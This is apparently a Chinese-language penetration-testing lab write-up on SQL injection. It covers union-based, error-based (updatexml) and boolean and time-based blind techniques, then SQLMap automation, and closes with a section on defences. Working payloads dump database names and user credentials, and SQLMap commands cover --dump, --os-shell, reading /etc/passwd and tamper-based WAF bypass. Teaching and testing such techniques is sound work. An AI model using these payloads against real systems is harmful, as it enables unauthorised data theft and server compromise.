漏洞注入实战深度解析:从手工 SQL 注入到 SQLMap 自动化利用全流程
一、前言为什么 SQL 注入至今仍是高危漏洞在 Web 渗透测试项目 6《利用漏洞注入》体系中SQL 注入与文件包含、XXE、命令注入同属注入类核心漏洞其中 SQL 注入危害等级最高。 传统 Web 开发中程序员常直接拼接用户传入 GET/POST 参数到 SQL 查询语句例如php运行$id $_GET[id]; $sql select * from user where id .$id;用户可控输入未做过滤、未使用预编译攻击者可构造特殊字符改变 SQL 原有逻辑实现查询数据库、读取系统文件、执行系统命令、写入 WebShell 等操作。 很多人认为 “现在框架都用 ORMSQL 注入已经绝迹”但实际生产环境中老旧项目、外包开发后台、自定义原生 SQL 接口、存储过程滥用、过滤逻辑存在绕过缺陷依然大量存在注入漏洞。本次任务 6.3~6.6 完整覆盖手工注入 工具注入两大方向是 Web 安全入门必掌握核心技能。二、SQL 注入基础原理与漏洞分类2.1 注入核心成因用户输入可控URL 参数、POST 表单、Cookie、HTTP 请求头、JSON 参数等外部输入可被篡改代码直接拼接 SQL 语句无预处理、无转义过滤数据库错误信息对外暴露为攻击者提供数据支撑。2.2 主流 SQL 注入类型对应本次实验任务联合查询注入任务 6.3 手工验证 SQL 注入页面会直接返回 SQL 查询结果通过union select拼接额外查询语句直接读取库、表、字段数据最简单直观。基于错误的 SQL 注入任务 6.4页面无数据回显但会打印数据库报错信息利用 updatexml、extractvalue 等报错函数将查询数据夹带在报错信息中输出适用于屏蔽正常回显但未关闭报错的页面。SQL 盲注任务 6.5页面无数据、无报错仅通过页面返回状态区分查询真假分为布尔盲注页面长短 / 内容差异、时间盲注sleep 延时判断是渗透中最常见场景。自动化工具注入任务 6.6 SQLMap手工注入效率低下大规模渗透依赖 SQLMap支持自动探测注入点、脱库、读写文件、提权内置海量绕过 Payload。三、任务 6.3 手工联合查询 SQL 注入实战3.1 漏洞判断测试 URLshturl.cc/TPSGxs54LU5ujV8fwqQV加单引号测试id1页面出现数据库语法错误证明存在字符型注入数字型注入无引号即可报错。判断字段数id1 order by 3--调整数字直到页面报错确定查询语句返回列数。寻找显错位id-1 union select 1,2,3--使用不存在 id 让原查询失效数字出现在页面的位置即为显错位可替换为查询语句。3.2 脱库完整 Payload 流程查询数据库版本、当前库名sql-1 union select version(),database(),user()--查询当前库所有表名sql-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--查询目标表字段sql-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameuser--读取账号密码数据sql-1 union select id,username,password from user--3.3 实操常见坑点注释符失效--、#、%23三种注释交替测试字符编码问题中文表名需十六进制编码绕过引号限制页面过滤 union/select使用大小写变形、换行、注释分割绕过。四、任务 6.4 基于错误的 SQL 注入报错注入4.1 适用场景页面无任何查询数据回显但开启 PHP 错误提示数据库报错会打印在页面无法使用 union 联合查询依靠报错函数带出数据。 核心函数updatexml()、extractvalue()两个函数第二个参数接收 XPath 表达式传入特殊非法字符会触发报错并打印传入内容。4.2 updatexml 注入 Payload 模板sql?id1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)--0x7e是波浪号~用于分割报错内容方便提取数据嵌套子查询可依次爆出库名、表名、字段、账号密码函数存在长度限制需截取字符串分段读取完整数据。4.3 报错注入优缺点优点不需要页面回显数据仅依赖报错信息适配绝大多数中小型后台系统 缺点单次报错输出字符有限读取大数据需要多次截取手工操作繁琐。五、任务 6.5 SQL 盲注原理与手工利用5.1 布尔盲注页面仅两种状态查询正确页面正常显示查询错误页面空白 / 内容变短通过二分法逐字符猜解数据。 核心逻辑and ascii(substr((select database()),1,1))100--通过对比 ASCII 码大小判断第一位字符循环遍历所有字符完整爆出库名、表名。5.2 时间盲注页面无任何内容差异无法通过页面判断真假使用sleep(N)延时函数查询条件为真时页面加载延迟 N 秒以此判断字符。 核心 Payloadsql?id1 and if(ascii(substr(database(),1,1))100,sleep(3),1)--5.3 盲注实操痛点手工盲注效率极低一个 8 位库名需要上百次请求实际渗透中仅用于验证漏洞存在正式脱库全部交给 SQLMap 自动化处理。六、任务 6.6 SQLMap 自动化注入工具高阶实战手工注入仅用于学习原理真实渗透测试中 SQLMap 是行业标准工具本任务覆盖核心常用参数。6.1 基础探测注入点bash运行# GET型URL注入探测 sqlmap -u http://test.com/detail.php?id1 # POST表单注入加载请求包 sqlmap -r post.txt6.2 核心脱库参数bash运行# 查询所有数据库 sqlmap -u url --dbs # 指定库查询所有表 sqlmap -u url -D testdb --tables # 指定库、表查询字段 sqlmap -u url -D testdb -T user --columns # 导出表内全部数据 sqlmap -u url -D testdb -T user --dump6.3 高阶渗透功能获取服务器操作系统 Shell--os-shell写入 WebShell 执行系统命令读取服务器文件--file-read/etc/passwd绕过 WAF 过滤--tamperspace2comment内置上百种绕过脚本延时盲注专用参数--time-sec3设置延时时间。6.4 SQLMap 使用注意事项禁止未经授权扫描第三方网站仅用于自己授权测试靶场高并发请求容易触发网站防护可设置延迟--delay1WAF 会拦截 SQLMap 特征 Payload需搭配 tamper 脚本混淆参数。七、SQL 注入漏洞综合防御方案结合本次全部注入实验从开发、运维、架构三层给出完整防御策略杜绝注入风险7.1 开发层杜绝根源最核心强制使用预编译语句PDO/MyBatis 预处理将 SQL 模板与用户输入分离输入仅作为参数传递数据库不会解析输入内容为 SQL 逻辑从底层阻断注入。禁止任何字符串拼接 SQL。输入过滤与白名单校验 对数字参数强制 int 转换字符串参数采用白名单仅允许业务所需字符拒绝单引号、#、and、union 等特殊 SQL 关键字。关闭详细数据库错误回显 生产环境统一自定义错误页面不输出 SQL 语法错误、库名、表名彻底屏蔽报错注入利用条件。7.2 运维层边界防护部署 WAF / 云 WAF拦截 SQL 注入特征请求数据库账号最小权限原则业务账号禁止 file、super 等高权限防止读取服务器文件、提权定期备份数据库限制数据库外网访问仅内网应用服务器可连接。7.3 架构层使用 ORM 框架替代原生 SQL微服务接口统一参数校验网关定期开展渗透测试、代码审计扫描潜在注入漏洞。八、注入类漏洞横向拓展结合本项目其他知识点本项目 6 除 SQL 注入外还包含文件包含、文件上传、XXE、命令注入全部属于注入攻击核心逻辑一致用户可控输入被解析为代码 / 语句执行。XXE 注入外部 XML 实体注入输入 XML 内容被服务器解析读取本地文件、发起内网请求命令注入输入直接拼接系统命令如 ping 功能未过滤|、符号执行任意系统命令文件包含注入通过?pageindex.php参数读取本地文件配合文件上传可实现远程代码执行。 所有注入漏洞统一防御思路分离输入与执行逻辑、严格过滤特殊控制字符、最小权限运行服务。九、总结SQL 注入作为 Web 安全入门核心漏洞看似简单变种覆盖显错、报错、盲注、工具自动化多种场景渗透测试人员必须吃透手工注入底层原理才能看懂工具运行逻辑同时掌握漏洞修复手段。 在企业安全建设中很多开发人员忽视预编译、随意拼接 SQL导致大量高危漏洞上线。安全从业者不仅要会利用漏洞更要理解漏洞产生根源给开发输出标准化防御规范。 本次实验从手工验证到自动化脱库完整复现 SQL 注入全流程覆盖企业渗透测试 90% 以上 SQL 注入场景熟练掌握后可独立完成 Web 站点注入漏洞挖掘与风险评估。后续可结合文件上传、文件包含漏洞组合利用实现从 SQL 注入到服务器完整沦陷的渗透链路。